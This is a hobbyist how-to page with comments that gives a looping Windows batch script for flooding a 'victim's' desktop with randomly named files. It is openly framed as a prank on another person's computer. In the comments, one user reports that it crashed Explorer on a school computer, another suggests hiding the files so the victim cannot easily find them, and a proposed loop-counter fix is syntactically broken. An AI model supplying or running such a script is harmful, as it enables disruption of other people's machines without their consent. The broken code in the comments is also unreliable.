Batch Files

Introduction: Batch Files

This is how to create a batch file that creates lots of files on the victims desktop.

Step 1: Step 1

Goto start then click run and type notepad

Step 2: Setp 2

in notepad type:

@echo off
:A
cd %current%
echo >%random%.%random%
goto A

Step 3: Step 3

click file then click save as and save it as any thing you wan't.bat it has to end with .bat or it won't work. and choose all files.

Step 4: Step 4

Command Prompt will come up just leave it for a while then close it and there will be lots of files on their desktop!!!!! It will give them random names like this 3437.7830. It will always have the dot in the middle.

Be the First to Share

    Recommendations

    • Make it Glow Contest

      Make it Glow Contest
    • First Time Author Contest

      First Time Author Contest
    • PCB Challenge

      PCB Challenge

    13 Discussions

    0
    randofo
    randofo

    12 years ago

    Hey, this is a great instructable and is very informative. Just one thing is missing... pictures! It really helps a lot when trying to follow directions so you should consider taking some photographs. Once you do that and leave me a message when you have so that we can publish your work. Thanks! Thanks for the cool instructable and we hope to publish this soon!

    0
    randofo
    randofo

    Reply 12 years ago on Introduction

    It needs a main image added to the intro step also.

    0
    Governor Keagan
    Governor Keagan

    5 years ago

    Great instructable. Wouldn't it be better to place the files somewhere - change directory - making it harder for them to know.

    0
    vhermansson
    vhermansson

    6 years ago on Introduction

    I used this on a school computer and eventualy it chrashed the explorer. Now we can't get it to work...Any idea how to fix this?

    0
    Stan2000
    Stan2000

    7 years ago

    You can also get rid of the point in the created file names by changing
    %random%.%random% into %random%%random

    0
    Stan2000
    Stan2000

    7 years ago

    XOIIO you can control how many copies it will make by adding something like this:

    Set/p %loop%=1
    :1
    Blablabla
    Set/p %loop%=+1
    If %loop%=100 goto 2
    Goto 1
    :2
    Exit

    0
    XOIIO
    XOIIO

    11 years ago on Introduction

    Can you control how many copies it makes?